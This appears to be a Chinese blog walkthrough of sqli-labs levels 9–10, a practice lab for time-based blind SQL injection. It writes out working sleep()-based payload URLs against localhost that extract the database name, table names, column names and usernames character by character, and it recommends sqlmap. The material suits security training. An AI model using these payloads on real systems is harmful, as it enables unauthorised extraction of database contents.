Less-9-10 【时间盲注】

目录

第九、十关

1、正常输入?id=1

2、我们不管去加什么字符,都不会报错,都只是You are in。

3、知道它存在时间盲注的情况下,我们接下来猜解当前数据库名的长度

4、猜解当前数据库名称

5、猜解当前数据库中的所有表名

6、猜解users表中的所有字段名

7、猜解users表里username字段中的所有内容

第九、十关

劝你本关内容只看去理解方法内容,不要去实操(纯属浪费时间),使用sqlmap工具去闯本关卡,简单便捷。

1、正常输入?id=1

Less-9-10 【时间盲注】_第1张图片

2、我们不管去加什么字符,都不会报错,都只是You are in。

这时候我们用sleep函数了,也就是时间盲注。利用时间盲注来找寻代码闭合方式

我们用单引号和双引号测试,发现只有单引号的情况下网页会延迟回显。说明是单引号闭合方式。

http://127.0.0.1:8080/sqli/Less-9/?id=1' and sleep(3) --+

Less-9-10 【时间盲注】_第2张图片

3、知道它存在时间盲注的情况下,我们接下来猜解当前数据库名的长度

http://127.0.0.1:8080/sqli/Less-9/?id=1' and if(length((select database())) = 8,sleep(5),1) --+

Less-9-10 【时间盲注】_第3张图片

由此我们可知数据库名的长度为8

4、猜解当前数据库名称

我们将获取的字符转换成ascii码,然后通过对应ascii码来一一进行比对。

http://127.0.0.1:8080/sqli/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

Less-9-10 【时间盲注】_第4张图片

通过更改substr的第二个参数我们可以逐一判断出数据库名称

以此类推我们可知当前数据库的名称为security

5、猜解当前数据库中的所有表名

http://127.0.0.1:8080/sqli/Less-9/?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) = 101,sleep(5),1)--+

Less-9-10 【时间盲注】_第5张图片

通过更改substr的第二个参数我们可以逐一判断出数据库名称

以此类推我们可知当前数据库中所有表名为emails,referers,uagents,users

6、猜解users表中的所有字段名

http://127.0.0.1:8080/sqli/Less-9/?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1)) = 105,sleep(5),1)--+

Less-9-10 【时间盲注】_第6张图片

通过更改substr的第二个参数我们可以逐一判断出数据库名称

以此类推我们可知users表中的所有字段名为id,username,password。

7、猜解users表里username字段中的所有内容

http://127.0.0.1:8080/sqli/Less-9/?id=1' and if(ascii(substr((select group_concat(username) from users),1,1)) = 68,sleep(5),1)--+

Less-9-10 【时间盲注】_第7张图片

通过更改group_concat()括号中的内容以及substr的第二个参数来获取不同字段中的所有数据。

以此类推我们可知users表中的username字段中所有内容为Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

第十关和第九关一样,只是单引号变成双引号。

因为盲注猜解效率低,所以我们选择去使用sqlmap工具来代替我们进行渗透。

到此闯关完成,闯关结束。

你可能感兴趣的:(Sqli-Labs,网络安全)